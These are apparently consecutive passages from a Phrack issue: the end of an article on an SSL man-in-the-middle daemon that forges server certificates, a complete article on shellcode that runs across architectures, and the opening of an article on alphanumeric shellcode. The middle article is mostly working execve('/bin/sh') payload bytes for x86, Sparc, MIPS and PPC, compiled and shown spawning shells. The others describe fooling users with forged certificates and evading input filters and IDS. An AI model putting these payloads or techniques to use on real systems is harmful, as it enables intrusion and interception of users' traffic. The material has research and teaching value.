Lets fetch a X509‑cert from a https‑server via cf when mimd is active:

[starting mimd somewhere, maybe on localhost]

stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 ‑text Certificate:

Data:

Version: 3 (0x2)

Serial Number: 1 (0x1)

Signature Algorithm: md5WithRSAEncryption Issuer: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net, OU= /Email=crew@segfault.net Validity

Not Before: Mar 20 13:42:12 2001 GMT

Not After : Mar 20 13:42:12 2002 GMT Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net, CN=www.segfault.net/Email=crew@segfault.net Subject Public Key Info:

Public Key Algorithm: rsaEncryption

RSA Public Key: (1024 bit)

Modulus (1024 bit): 00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3: e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51: 94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa: 0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b: b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21: 94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55: ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4: b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36: ca:c2:07:9d:ba:32:ff:d6:e7 Exponent: 65537 (0x10001)

X509v3 extensions:

X509v3 Subject Key Identifier: 4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD X509v3 Authority Key Identifier: keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD DirName:/C=US

serial:00

X509v3 Basic Constraints:

CA:TRUE

Signature Algorithm: md5WithRSAEncryption b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0: ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de: 86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de: d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28: 8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa: f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91: e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a: eb:f2

As you can see, the public key differs to the one before (without mimd) because it is the mimd key itself. The C field contains "US" and "EU" where only the latter is shown in Netscape, so no difference. Aware of the " " in the OU field? Since the original cert did not contain a OU field, it now is just a " ". Does not matter.

The issuer has been taken from original issuer‑field in X509 cert. Now, lets try to take the subject‑field for the issuer. Somewhat obsolete for this example because it is not signed by a public CA, but in case an important public CA signed the cert, a self‑signed

fake might be a nice toy:

[restarting mimd, this time in the 'use‑subject' way]

stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 ‑text Certificate:

Data:

Version: 3 (0x2)

Serial Number: 1 (0x1)

Signature Algorithm: md5WithRSAEncryption

Issuer: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net, OU= , CN=www.segfault.net/Email=crew@segfault.net Validity

Not Before: Mar 20 13:42:12 2001 GMT

Not After : Mar 20 13:42:12 2002 GMT

Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net, CN=www.segfault.net/Email=crew@segfault.net Subject Public Key Info:

Public Key Algorithm: rsaEncryption

RSA Public Key: (1024 bit)

Modulus (1024 bit): 00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3: e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51: 94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa: 0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b: b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21: 94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55: ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4: b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36: ca:c2:07:9d:ba:32:ff:d6:e7 Exponent: 65537 (0x10001)

X509v3 extensions:

X509v3 Subject Key Identifier: 4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD X509v3 Authority Key Identifier: keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD DirName:/C=US

serial:00

X509v3 Basic Constraints:

CA:TRUE

Signature Algorithm: md5WithRSAEncryption b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0: ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de: 86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de: d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28: 8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa: f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91: e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a: eb:f2

The only diff between these two is that a CN shows up in

the issuer‑field now which has not been there before.

It would have more effect with public CA's as I already mentioned.

5. Conclusion

‑‑‑‑‑‑‑‑‑‑‑‑‑

To conclude: a user surfing the web with interactive

client as they exist by now CAN NOT KNOW that his

connection is subject to a mim attack. There is no

way for him to distinguish between 'browser prompts

because company uses unknown CA' or 'the unknown CA

is mimd'. Even when he already surfed the site and saved

the cert (!) he can fall into this trap. An attentive user

MIGHT notice that he is prompted to accept a 'RSA Data Security' or a 'Verisign' signed cert and wonders. Enabling

self‑signing switch in mimd will kill his doubts.

In this article I focused on the 'separate‑ports' way to

break SSL, there is also a thing called 'upward negotiation'

which turns a former plain‑text stream into a SSL stream

via a keyword (STARTTLS for example). All things said about

SSL apply to it as well, just you can not use mimd in this

case, because you need to filter SSL connections and forward

it to mimd. This will probably be done using MSG_PEEK; we

are researching. :)

Thanks to

Segfault Consortium for providing a testing environment and various folks for proof‑reading the article. Blame them

if something is wrong. :)

References:

‑‑‑‑‑‑‑‑‑‑‑

[1] "SSL and TLS" Designing and Building Secure Systems

Eric Rescorla, AW 2001

A 'must‑read' if you want/need to know how SSL works.

[2] "Angewandte Kryptographie"

Bruce Schneier, AW 1996

THE book for crypto‑geeks. I read the german version,

in english its 'Applied Cryptographie'

[2] various openssl c‑files and manpages

[3] http://www.cs.uni‑potsdam.de/homepages/students/linuxer/sslmim.tar.gz

A DCA implementation, described in this article;

also contains 'cf' tool.

[4] In case you cannot try mimd on your local box, view

a snapshot from a mim‑ed session provided by TESO: http://www.team‑teso.net/ssl‑security.png

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Architecture spanning shellcode

==Phrack Inc.==

Volume 0x0b, Issue 0x39, Phile #0x0e of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Architecture Spanning Shellcode ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ eugene@gravitino.net ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

Introduction

‑‑‑‑‑‑‑‑‑‑‑‑

At defcon8 caezar's challenge 4 party [1] a problem was present to write a shellcode that would run on two or more processor platforms. Below you will find my solution (don't forget to check the credits section).

The general idea behind an architecture spanning shellcode is trying to come up with a sequence of bytes that would execute a jump instruction on one architecture while executing a nop‑like instruction on another architecture. That way we can branch to architecture specific code depending on the platform our code is running on.

Here is an ASCII representation of our byte stream:

XXX

arch1 shellcode

arch2 shellcode

where XXX is a sequence of bytes that is going to branch to arch2's shellcode on architecture 2 and is going to fall through to arch1 shellcode on architecture 1.

If we want to add more platforms we would need to add additional jump/nop instructions for each additional platform.

MIPS architecture

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A brief introduction to the MIPS architecture and writing MIPS shellcode was described by scut in phrack 56 [2] as well as by the LSD folks in their paper [8].

The only thing that is worse repeating here is the general MIPS instruction format. All MIPS instructions occupy 32 bits and the sixth most significant bits specify the instruction opcode [6][7]. There are 3 instruction formats: I‑Type (immediate), J‑Type (Jump) and R‑Type (Register). Since we are looking for a nop‑like instructions we are mostly interesting in I and R type instructions whose format is listed below.

I‑Type instruction format:

31 30 29 28 27 26|25 24 23 22 21| 20 19 18 17 16| 15 .. 0 op | rs | rt | immediate

fields are:

op6‑bit operation code

rs5‑bit source register specifier

rt5‑bit target (src/dest) or branch condition

immediate16‑bit immediate, branch or address displacement

R‑Type instruction format:

31 30 29 28 27 26|25 24 23 22 21| 20 19 18 17 16| 15 14 131211|109876|5..0 op | rs | rt | rd | shamt|funct

fields are:

op6‑bit operation code

rs5‑bit source register specifier

rt5‑bit target (src/dest) or branch condition

rd5‑bit destination register specifier

shamt5‑bit shift amount

funct6‑bit function field

Sparc architecture

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Similarly to MIPS, Sparc is a RISC based architecture. All the Sparc instructions occupy 32 bits and the two most significant bits specify an instruction class [4]:

opInstruction Class

00Branch instructions

01call instruction

10Format Three instructions (type 1)

11Format Three instructions (type 2)

Format one call instruction contains an op field '01' followed by 30 bits of address. Even though this is the optimal instruction to use, since we control 30 bits out of 32, we won't be able to use it since the jumps are not relative and tend to have 0 bytes in them.

Format three instructions (type 2) are mostly load/store instructions which are mostly useless to us since we are only looking for relatively harmless nop‑like instructions. We definitely don't want to use anything that has possibility of crashing our program (SIGSEGV in case of an illegal load/store).

This leaves us with branch and format three instructions (type 1) to use. Here is the format of a format three instruction:

31 30 |29 28 27 26 25|24 23 22 21 20 19|18 17 16 15 14|13|12 11 10 9 8 7..0 op | rd | op3 | rs1 |01| rs2 / imm

fields are:

op2‑bit instruction class (10)

rd5‑bit destination register specifier

op35‑bit instruction specifier

rs15‑bit source register

0/11‑bit constant / second source register option

rs2 / imm13‑bit specifies either a second source register or

a constant

Some of the promising looking (harmless) format three instructions are add, and, or, xor and sll/srl (specified by op3 bits).

And here is the branch instruction format:

31 30 |29|28 27 26 25|24 23 22|21 .. 0

op |a | condition | op2 |displacement

fields are:

op2‑bit instruction class (00)

a1‑bit annulled flag

condition5‑bit condition specifier.. ba, bn, bl, ble, be, etc op23‑bit condition code (integer condition code is 010) displacement22‑bit address displacement

As you can see, a lot of the fields already have predefined values which we need to work around.

PPC architecture

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PowerPC is yet another RISC architecture used by vendors such as IBM and Apple. See LSD's paper [8] for more information.

x86 architecture

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The topic of buffer overflows and shellcode on x86 architecture has been beaten to death before. For a good introduction see Aleph1's article in phrack 49 [3].

To expand just a little bit on the topic I am going to present x86 code that works on multiple x86 operating systems. The idea behind an "OS spanning" shellcode is to setup all the registers and stack in such a way as to satisfy the requirements of all the operating systems that our shellcode is meant to execute on. For example, BSD passes its parameters on stack while Linux uses registers (for passing arguments to syscalls). If we setup both registers and stack than our code would run on both BSD and Linux x86 systems. The only problem with writing shellcode for BSD & Linux systems is the different execve() syscall numbers the two systems use. Linux uses syscall number 0xb while BSD uses 0x3b. To overcome this problem, we need to distinguish between the two systems at runtime. There are plenty of ways to do that such as checking where various segments are mapped, the way segment registers are setup, etc. I chose to analyze the segment registers since that method seems to be pretty robust. On Linux systems, for example, segment registers fs and gs are set 0 (in user mode) while on BSD systems they are set to non zero values (0x1f on OpenBSD, 0x2f on FreeBSD). We can exploit that difference to distinguish between the two different systems. See "Adding more architectures" section for a working example.

Another way to to handle different syscall numbers is to ignore an "invalid system call" SIGSYS signal and just try a different syscall number if the first execve() call failed. While that method certainly works it is quite limited and cannot be applied to other operating systems such as the x86 Solaris which doesn't use the 0x80 interrupt trap gate.

Note that the "OS Spanning" shellcode is certainly not restricted to an x86 platform, the same idea can be applied to any hardware platform and any operating system.

Putting it all together.. Architecture spanning shellcode

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As I have mentioned before our shellcode (first attempt) is going to look like

XXX

arch1 shellcode

arch2 shellcode

where XXX is a specially crafted string that executes different instructions on two different platforms.

When I initially started looking for a working XXX string, I took an x86 short jump instruction and tried to decode it on a sun box. Since the first byte of an x86 short jump instruction is 0xEB (which is almost all 1's) [5], the instruction decoded into a weird format 3 sparc instruction. My next attempt consisted of writing a sparc jump instruction and trying to decode it on an x86 platform. That idea almost worked but i was unable to decode the sparc jump instruction into a nop‑like x86 xor instruction due to a one bit offset difference. The next attempt consisted of padding an x86 jump instruction. Since an x86 short jump instruction is 2 bytes long and all the sparc instructions are 4 bytes long, I had 2 bytes to play with. I knew that I had to insert some bytes before the jump 0xEB byte in order to be able to decode the instruction into something reasonable on sparc. For my pad bytes I chose to use the x86 0x90 nop bytes which turned out to be a good idea since 0x90 is mostly all 0's. My instruction stream than looked like

\x90\x90\xeb\x30

where 0x90 is the x86 nop instruction, 0xEB is the opcode for an x86 short jump and 0x30 is a 48 byte jump offset. Here is what the above string decoded to on a Sun machine:

(gdb) x 0x1054c

0x1054c <main+20>: 0x9090eb30

(gdb) x/t 0x1054c

0x1054c <main+20>: 10010000100100001110101100110000

(gdb) x/i 0x1054c

0x1054c <main+20>: orcc %g3, 0xb30, %o0

As you can see, our string decoded to a harmless format 3 'or' instruction that corrupted the %o0 register. This is exactly what we were looking for, a short jump on one architecture (x86) and a harmless instruction on another architecture (sparc). With that in mind our shellcode now looks like this:

\x90\x90\xeb\x30

[sparc shellcode]

[x86 shellcode]

Let's try it out..

[openbsd]$ cat ass.c; ass as in Architecture Spanning Shellcode :) char sc[] =

/* magic string */

"\x90\x90\xeb\x30"

/* sparc solaris execve() */

"\x2d\x0b\xd8\x9a" /* sethi $0xbd89a, %l6 */

"\xac\x15\xa1\x6e" /* or %l6, 0x16e, %l6 */

"\x2f\x0b\xdc\xda" /* sethi $0xbdcda, %l7 */

"\x90\x0b\x80\x0e" /* and %sp, %sp, %o0 */

"\x92\x03\xa0\x08" /* add %sp, 8, %o1 */

"\x94\x1a\x80\x0a" /* xor %o2, %o2, %o2 */

"\x9c\x03\xa0\x10" /* add %sp, 0x10, %sp */

"\xec\x3b\xbf\xf0" /* std %l6, [%sp ‑ 0x10] */

"\xdc\x23\xbf\xf8" /* st %sp, [%sp ‑ 0x08] */

"\xc0\x23\xbf\xfc" /* st %g0, [%sp ‑ 0x04] */

"\x82\x10\x20\x3b" /* mov $0x3b, %g1 */

"\x91\xd0\x20\x08" /* ta 8 */

/* BSD execve() */

"\xeb\x17" /* jmp */

"\x5e" /* pop %esi */

"\x31\xc0" /* xor %eax, %eax */

"\x50" /* push %eax */

"\x88\x46\x07" /* mov %al,0x7(%esi) */

"\x89\x46\x0c" /* mov %eax,0xc(%esi) */

"\x89\x76\x08" /* mov %esi,0x8(%esi) */

"\x8d\x5e\x08" /* lea 0x8(%esi),%ebx */

"\x53" /* push %ebx */

"\x56" /* push %esi */

"\x50" /* push %eax */

"\xb0\x3b" /* mov $0x3b, %al */

"\xcd\x80" /* int $0x80 */

"\xe8\xe4\xff\xff\xff" /* call */

"\x2f\x62\x69\x6e\x2f\x73\x68"; /* /bin/sh */

int main(void)

{

void (*f)(void) = (void (*)(void)) sc;

f();

return 0;

}

[openbsd]$ gcc ass.c

[openbsd]$ ./a.out

$ uname ‑ms

OpenBSD i386

[solaris]$ gcc ass.c

[solaris]$ ./a.out

$ uname ‑ms

SunOS sun4u

it worked!

Adding more architectures

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Theoretically, spanning shellcode is not tied to any specific operating system nor any specific hardware architecture. Thus it should be possible to write shellcode that runs on more than two architectures. The format for our shellcode (second attempt) that runs on 3 architectures is going to be

XXX

YYY

arch1 shellcode

arch2 shellcode

arch3 shellcode

where arch1 is MIPS, arch2 is Sparc and arch3 is x86.

My first attempt was to try and reuse the magic string from ass.c. Unfortunately, 0x9090eb30 didn't decode into anything reasonable on an IRIX platform and so I was forced to look elsewhere. My next attempt was to replace 0x90 bytes with some other nop‑like bytes looking for a sequence that would work on both Sparc & MIPS platforms. After a trying out a bunch of x86 nop instructions from K2's ADMmutate toolkit, I stumbled upon an AAA instruction whose opcode was 0x37. The AAA instruction worked out great since the 0x3737eb30 string decoded correctly on all three platforms:

x86:

aaa

aaa

jmp +120

sparc:

sethi %hi(0xdFADE000), %i3

mips:

ori $s7,$t9,0xeb78

with XXX string out of the way, I was left with MIPS and Sparc platforms YYY part. The very first instruction I tried worked on both platforms. The instruction was a Sparc annulled short jump ba,a (0x30800012) which decoded to

andi $zero,$a0,0x12

on a MIPS platform. Not only did the jump instruction decoded to a harmless 'andi' on a MIPS platform, it also didn't require a branch delay slot instruction after it since the ba jump was annulled [4].

So now our shellcode looks like this

"\x37\x37\xeb\x78" /* x86: aaa; aaa; jmp 116+4 */

/* MIPS: ori $s7,$t9,0xeb78 */

/* Sparc: sethi %hi(0xdfade000),%i3*/

"\x30\x80\x00\x12" /* MIPS: andi $zero,$a0,0x12 */

/* Sparc: ba,a +72 */

[snip real shellcode]

While we are adding more architectures to our shellcode let's also take a look at PPC/AIX. The first logical thing to do is to try and decode the existing XXX and YYY strings from the above shellcode on the PPC platform:

(gdb) x 0x10000364

0x10000364 <main+36>: 0x3737eb78

(gdb) x/i 0x10000364

0x10000364 <main+36>: addic. r25,r23,‑5256

(gdb) x/x 0x10000368

0x10000368 <main+40>: 0x30800012

(gdb) x/i 0x10000368

0x10000368 <main+40>: addic r4,r0,18

is this our lucky day or what? the XXX and YYY strings from the above MIPS/x86/Sparc combo have correctly decoded to two harmless add instructions. All we need to do now is to come up with another instruction that is going to execute a jump on a MIPS platform while executing a nop on PPC/AIX. After a bit of searching MIPS 'bgtz' instruction turned out to decode into a valid multiply instruction on AIX:

[MIPS]

(gdb) x 0x10001008

0x10001008 <sc+8>: 0x1ee00101

(gdb) x/i 0x10001008

0x10001008 <sc+8>: bgtz $s7,0x10001410 <+1040>

[AIX]

(gdb) x 0x10000378

0x10000378 <main+56>: 0x1ee00101

(gdb) x/i 0x10000378

0x10000378 <main+56>: mulli r23,r0,257

the bgtz instruction is a branch on greater than zero [7]. Notice that the branch instruction uses the $s7 register which was modified by us in a previous nop instruction. The branch displacement is set to 0x0101 (to avoid NULL bytes in the instruction) which is equivalent to a relative 1028 byte forward jump. Let's put everything together now..

[openbsd]$ cat ass.c

/*

* Architecture/OS Spanning Shellcode

*

* runs on x86 (freebsd, netbsd, openbsd, linux), MIPS/Irix, Sparc/Solaris * and PPC/AIX (AIX platforms require ‑DAIX compiler flag)

*

* eugene@gravitino.net

*/

char sc[] =

/* voodoo */

"\x37\x37\xeb\x7b"/* x86:aaa; aaa; jmp 116+4*/

/* MIPS:ori$s7,$t9,0xeb7b*/

/* Sparc:sethi%hi(0xdFADEc00), %i3 */

/* PPC/AIX:addic.r25,r23,‑5253*/

"\x30\x80\x01\x14"/* MIPS:andi$zero,$a0,0x114*/

/* Sparc: ba,a+1104*/

/* PPC/AIX:addic r4,r0,276*/

"\x1e\xe0\x01\x01"/* MIPS:bgtz$s7, +1032*/

/* PPC/AIX:mullir23,r0,257*/

"\x30\x80\x01\x14"/* fill in the MIPS branch delay slot

with the above MIPS / AIX nop*/

/* PPC/AIX shellcode by LAST STAGE OF DELIRIUM*://lsd‑pl.net/*/

"\x7e\x94\xa2\x79"/* xor.r20,r20,r20*/

"\x40\x82\xff\xfd"/* bnel<syscallcode>*/

"\x7e\xa8\x02\xa6"/* mflrr21*/

"\x3a\xc0\x01\xff"/* lilr22,0x1ff*/

"\x3a\xf6\xfe\x2d"/* calr23,‑467(r22)*/

"\x7e\xb5\xba\x14"/* caxr21,r21,r23*/

"\x7e\xa9\x03\xa6"/* mtctrr21*/

"\x4e\x80\x04\x20"/* bctr*/

"\x04\x82\x53\x71"

"\x87\xa0\x89\xfc"

"\x69\x68\x67\x65"

"\x4c\xc6\x33\x42"/* crorccr6,cr6,cr6*/

"\x44\xff\xff\x02"/* svca0x0*/

"\x3a\xb5\xff\xf8"/* calr21,‑8(r21)*/

"\x7c\xa5\x2a\x79"/* xor.r5,r5,r5*/

"\x40\x82\xff\xfd"/* bnel<shellcode>*/

"\x7f\xe8\x02\xa6"/* mflrr31*/

"\x3b\xff\x01\x20"/* calr31,0x120(r31)*/

"\x38\x7f\xff\x08"/* calr3,‑248(r31)*/

"\x38\x9f\xff\x10"/* calr4,‑240(r31)*/

"\x90\x7f\xff\x10"/* str3,‑240(r31)*/

"\x90\xbf\xff\x14"/* str5,‑236(r31)*/

"\x88\x55\xff\xf4"/* lbzr2,‑12(r21)*/

"\x98\xbf\xff\x0f"/* stbr5,‑241(r31)*/

"\x7e\xa9\x03\xa6"/* mtctrr21*/

"\x4e\x80\x04\x20"/* bctr*/

"/bin/sh"

/* x86 BSD/Linux execve() by me */

"\xeb\x29"/* jmp*/

"\x5e"/* pop%esi*/

"\x31\xc0"/* xor%eax, %eax*/

"\x50"/* push%eax */

"\x88\x46\x07"/* mov%al,0x7(%esi) */

"\x89\x46\x0c"/* mov%eax,0xc(%esi)*/

"\x89\x76\x08"/* mov%esi,0x8(%esi)*/

"\x8d\x5e\x08"/* lea0x8(%esi),%ebx*/

"\x53"/* push%ebx*/

"\x56"/* push%esi*/

"\x50"/* push%eax*/

/* setup registers for linux */

"\x8d\x4e\x08"/* lea0x8(%esi),%ecx*/

"\x8d\x56\x08"/* lea0x8(%esi),%edx*/

"\x89\xf3"/* mov%esi, %ebx*/

/* distinguish between BSD & Linux */

"\x8c\xe0"/* movl%fs, %eax*/

"\x21\xc0"/* andl%eax, %eax*/

"\x74\x04"/* jz+4*/

"\xb0\x3b"/* mov$0x3b, %al*/

"\xeb\x02"/* jmp+2*/

"\xb0\x0b"/* mov$0xb, %al*/

"\xcd\x80"/* int$0x80*/

"\xe8\xd2\xff\xff\xff"/* call*/

"\x2f\x62\x69\x6e"/* /bin*/

"\x2f\x73\x68"/* /sh*/

/*

* pad the MIPS/Irix & Sparc/Solaris shellcodes

* jumps of > 0x0101 bytes are performed on both platforms * to avoid NULL bytes in the jump instructions

*/

"2359595912811011811145128130124118116118121114127231291301241171" "2911813245571341291181211101231241181291101234512913012411712911" "8132455712712412112411245123118120128451291301241171291181324512" "9128118133114451141004559113130110111451141171294511512445134129" "1301101141112311411712945571171121291181321284511411712945113123" "1104512312412712911211412111445114117129451151244511312112712413" "2451141171294559595913212412345113121127124132451271301244512811" "8451281181179797117118128451181284512413012745132124127121113451" "2312413259595945129117114451321241271211134512411545129117114451" "1412111411212912712412345110123113451291171144512813211812911211" "7574512911711423111114110130129134451241154512911711445111110130" "1135945100114451141331181281294513211812911712413012945128120118" "1234511212412112412757451321181291171241301294512311012911812412" "31101211181291345745132118"

/* 68 byte MIPS/Irix PIC execve shellcode. ‑scut/teso*/

"\xaf\xa0\xff\xfc" /* sw $zero, ‑4($sp) */

"\x24\x06\x73\x50" /* li $a2, 0x7350 */

"\x04\xd0\xff\xff" /* bltzal $a2, dpatch */

"\x8f\xa6\xff\xfc" /* lw $a2, ‑4($sp) */

/* a2 = (char **) envp = NULL */

"\x24\x0f\xff\xcb" /* li $t7, ‑53 */

"\x01\xe0\x78\x27" /* nor $t7, $t7, $zero */

"\x03\xef\xf8\x21" /* addu $ra, $ra, $t7 */

/* a0 = (char *) pathname */

"\x23\xe4\xff\xf8" /* addi $a0, $ra, ‑8 */

/* fix 0x42 dummy byte in pathname to shell */

"\x8f\xed\xff\xfc" /* lw $t5, ‑4($ra) */

"\x25\xad\xff\xbe" /* addiu $t5, $t5, ‑66 */

"\xaf\xed\xff\xfc" /* sw $t5, ‑4($ra) */

/* a1 = (char **) argv */

"\xaf\xa4\xff\xf8" /* sw $a0, ‑8($sp) */

"\x27\xa5\xff\xf8" /* addiu $a1, $sp, ‑8 */

"\x24\x02\x04\x23" /* li $v0, 1059 (SYS_execve) */

"\x01\x01\x01\x0c" /* syscall */

"\x2f\x62\x69\x6e" /* .ascii "/bin" */

"\x2f\x73\x68\x42" /* .ascii "/sh", .byte 0xdummy */

/* Sparc Solaris execve() by an unknown author */

"\x2d\x0b\xd8\x9a"/* sethi$0xbd89a, %l6 */

"\xac\x15\xa1\x6e"/* or%l6, 0x16e, %l6 */

"\x2f\x0b\xdc\xda"/* sethi$0xbdcda, %l7 */

"\x90\x0b\x80\x0e"/* and%sp, %sp, %o0 */

"\x92\x03\xa0\x08"/* add%sp, 8, %o1 */

"\x94\x1a\x80\x0a"/* xor%o2, %o2, %o2 */

"\x9c\x03\xa0\x10"/* add%sp, 0x10, %sp */

"\xec\x3b\xbf\xf0"/* std%l6, [%sp ‑ 0x10] */

"\xdc\x23\xbf\xf8"/* st%sp, [%sp ‑ 0x08] */

"\xc0\x23\xbf\xfc"/* st%g0, [%sp ‑ 0x04] */

"\x82\x10\x20\x3b"/* mov$0x3b, %g1 */

"\x91\xd0\x20\x08"/* ta8 */

;

int main(void)

{

#if defined(AIX)

/* copyright LAST STAGE OF DELIRIUM feb 2001 poland */

int jump[2]={(int)sc,*((int*)&main+1)};

((*(void (*)())jump)());

#else

void (*f)(void) = (void (*)(void)) sc;

f();

#endif

return 0;

}

[openbsd]$ gcc ass.c

[openbsd]$ ./a.out

$ uname ‑ms

OpenBSD i386

[freebsd]$ gcc ass.c

[freebsd]$ ./a.out

$ uname ‑ms

FreeBSD i386

[linux]$ gcc ass.c

[linux]$ ./a.out

$ uname ‑ms

Linux i686

[solaris]$ gcc ass.c

[solaris]$ ./a.out

$ uname ‑ms

SunOS sun4u

[irix]$ gcc ass.c

[irix]$ ./a.out

$ uname ‑ms

IRIX IP22

[aix]$ gcc ass.c

[aix]$ ./a.out

$ uname ‑ms

AIX 000089101000

Conclusion

‑‑‑‑‑‑‑‑‑‑‑

Architecture spanning shellcode is a specially crafted code that executes differently depending on the architecture it is being run on. The code achieves that by using a series of bytes which execute differently on different architectures.

OS spanning shellcode is specially crafted code that executes on multiple operating systems all running on the same platform. The code achieves that by setting up the registers and the stack in a way that satisfies the operating systems that the code is being run on.

Credits / Thanks

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Greg Hoglundworking with me on this idea at the challenge party

prole and harmfor coming with an idea way before the challenge http://www.redgeek.net/~prole/ASSC.txt

gravitino.net, GHI, skyper, spoonm

References

‑‑‑‑‑‑‑‑‑‑

[1] Caezar's challenge

http://www.caezarschallenge.org

[2] Writing MIPS/IRIX shellcode

scut (phrack 56)

[3] Smashing The Stack For Fun And Profit

Aleph One (phrack 49)

[4] SPARC Architecture, Assembly Language Programming, and C. 2nd ed. Richard P. Paul

[5] IA‑32 Intel Architecture, Software Developer's Manual Intel, Corp

http://developer.intel.com

[6] Computer Organization and Design

David A. Patterson and John L. Hennessy

[7] MIPS RISC Architecture

Gerry Kane and Joe Heinrich

[8] UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes

The Last Stage of Delirium Research Group http://lsd‑pl.net

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Writing ia32 alphanumeric shellcodes

==Phrack Inc.==

Volume 0x0b, Issue 0x39, Phile #0x0f of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Writing ia32 alphanumeric shellcodes ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ rix@hert.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑‑‑| Introduction

Today, more and more exploits need to be written using assembler, particularly to write classical shellcodes (for buffer overflows, or format string attacks,...).

Many programs now achieve powerfull input filtering, using functions like strspn() or strcspn(): it prevents people from easily inserting shellcodes in different buffers.

In the same way, we observe more and more IDS detecting suspicious opcodes sequences, some of them indicating the presence of a shellcode.

One way to evade such pattern matching techniques is to use polymorphic stuff, like using tools such as K2's ADMmutate.

Another way to do this is going to be presented here: we'll try to write IA32 non filterable shellcodes, using only alphanumeric chars: more precisely, we'll use only chars like '0'‑>'9','A'‑>'Z' and 'a'‑>'z'.

If we can write such alphanumeric shellcodes, we will be able to store our shellcodes nearly everywhere! Let's enumerate some interesting possibilities:

‑ filtered inputs

‑ environment variables

‑ classical commands, instructions & parameters from usual protocols ‑ filenames & directories

‑ usernames & passwords

‑ ...

‑‑‑‑| The usable instructions

Before beginning to think about particular techniques, let's first have a look at the IA32 instructions that will be interesting for us.

First of all, some conventions (from Intel references) that we'll use in our summary arrays:

<r8> : indicates a byte register.

<r32> : indicates a doubleword register.

<r/m8> : indicates a byte register or a byte from memory (through a pointer).

